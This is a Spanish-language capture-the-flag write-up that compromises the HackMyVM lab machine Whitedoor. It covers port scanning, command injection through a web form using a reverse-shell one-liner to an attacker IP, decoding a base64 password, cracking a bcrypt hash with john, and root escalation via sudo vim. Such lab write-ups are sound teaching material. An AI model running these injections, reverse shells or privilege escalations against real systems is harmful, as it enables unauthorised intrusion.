Entrada

Whitedoor

¡Hola, hacker! ¡Bienvenido a un nuevo post!

En este artículo, abordaremos la resolución de la máquina Whitedoor de la plataforma HackMyVM. La máquina aloja un sitio web que presenta un formulario con un campo de entrada, el cual nos concede la capacidad de ejecutar comandos del sistema sin previa validación. De este modo, conseguimos acceso al sistema como el usuario www-data. A continuación, realizamos un movimiento lateral para obtener acceso como el usuario whiteshell al descifrar una contraseña codificada en base64, la cual encontramos en un archivo de texto plano. Posteriormente, nos enfrentamos al desafío de romper un hash codificado presente en un archivo .txt. Finalmente, aprovechamos una configuración inadecuada de sudo para elevar nuestros privilegios, logrando así una exitosa escalada de privilegios.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Whitedoor Reconocimento usando el comando ping

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

1
nmap -sS -p- --open --min-rate 5000 -Pn -n 20.20.20.9 -vvv -oG scanPorts

Whitedoor Descubrimiento de puertos abiertos

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).
  • --open: Solo considerar puertos abiertos.
  • --min-rate 5000: Establece el número mínimo de paquetes que nmap enviará por segundo.
  • -Pn: Desactiva el descubrimiento de host por medio de ping.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
  • -oG: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

1
nmap -sCV -p22,80 -vvv -oN targeted 20.20.20.9

Whitedoor Descubrimiento de versión y servicio con nmap

Parámetros utilizados:

  • -sCV Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535)
  • -oN: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivo targeted. En este caso, utiliza el formato por defecto de nmap.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

Explotación

FTP

Como observamos en el escaneo anterior, el servicio ftp permite acceder con el usuario anonymous. En este caso, debemos ingresar como contraseña anonymous@20.20.20.9. Al listar el contenido, nos encontramos con un archivo README.md el cual nos descargamos.

Whitedoor README.md

Al ver su contenido, nos muestra el siguiente mensaje: ¡Good luck! :wink:.

Whitedoor README.md

Usuario www-data

Continuamos explorando y accedemos al sitio web que se encuentra en ejecución en el puerto 80, donde nos encontramos con lo siguiente:

Whitedoor Web Whitedoor

Contamos un campo de entrada, que al ingresar cualquier texto de prueba nos indica que solo el comando ls esta permitido.

Whitedoor Permission denied. Only the ls command is allowed

Si ejecutamos el comando ls, podemos ver que se listan algunos nombres de archivos.

Whitedoor Web Whitedoor - ls

Intentemos ejecutar más de un comando en la misma ejecución. En bash, podemos ejecutar varios comandos en una misma línea utilizando el punto y coma ; para separarlos. Utilizando la siguiente sintaxis:

1
comando1; comando2; comando3; comando4

Whitedoor Web Whitedoor - ls; id

Observamos que efectivamente funciona. Logramos ejecutar el segundo comando después del punto y coma.

Teniendo en cuenta, que tenemos capacidad de ejecución de comandos, ejecutemos una reverse shell. Para lo cual, cremos un archivo (shell.sh) bajo el directorio /tmp el cual contiene nuestra reverse shell, todo esto desde un oneliner.

Antes de ejecutar nuestra reverse shell, pongámonos en escucha con netcat nc por el puerto 4444.

Whitedoor netcat

Ejecutamos la reverse shell.

1
ls; echo 'bash -i >& /dev/tcp/20.20.20.5/4444 0>&1' > /tmp/shell.sh; chmod +x /tmp/shell.sh; bash /tmp/shell.sh

Whitedoor Reverse shell

De esta manera, ganamos acceso al sistema.

Whitedoor Usuario www-data

Usuario whiteshell

Haciendo una enumeración básica del sistema, encontramos un archivo llamado .my_secret_password.txt bajo el directorio Desktop del usuario whiteshell.

Whitedoor Archivo .my_secret_password.txt

Podemos determinar a que tipo de hash corresponde el conjunto de caracteres encontrado, utilizando la web tunnelsup.com.

Whitedoor Hash Analyzer

Vemos que no logra identificar ningun hash, pero nos indica que el tipo de caracteres corresponde con la codificación base64.

Si decodificamos esta cadena utilizando esta codificación, obtenemos una nueva cadena codificada en base64.

Whitedoor Decodificación de cadena usando base64

Decodificamos la nueva cadena usando nuevamente base64 y obtenemos la contraseña del usuario whiteshell.

Whitedoor Decodificación de cadena usando base64

Usuario Gonzalo

Realizamos nuevamente una enumeración básica al sistema y encontramos un archivo llamado .my_secret_hash bajo el directorio Desktop del usuario Gonzalo el cual contiene un hash codificado con el algoritmo bcrypt.

Whitedoor Hash de la contraseña del usuario Gonzalo

Usamos john para romper el hash y obtener la contraseña del usuario Gonzalo.

Whitedoor Crackeamos el hash usando john para obtener la contraseña

Gonzalo:qwertyuiop

Nos logueamos como el usuario Gonzalo y leemos el flag de user.txt.

Whitedoor user.txt

Escalada de privilegios

Al realizar una enumeración del sistema, notamos que el usuario Gonzalo tiene la capacidad de ejecutar el editor vim con privilegios de sudo, sin requerir la contraseña (NOPASSWD).

Whitedoor sudo -l

Si hacemos una búsqueda en GTFOBins, podemos ver que existen varias alternativas de poder escalar nuestros privilegios en este contexto GTFOBins - vim, en este caso, usare la primera de ellas.

1
sudo vim -c ':!/bin/sh'

Whitedoor sudo vim

De esta forma, logramos elevar nuestros privilegios y podemos leer el flag del archivo root.txt.

Whitedoor root.txt

Así concluimos el Write-up de la máquina Whitedoor.

Espero que los conceptos hayan quedado claros. En caso de persistir alguna duda, te invito a repetir la máquina para afianzar tus conocimientos.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.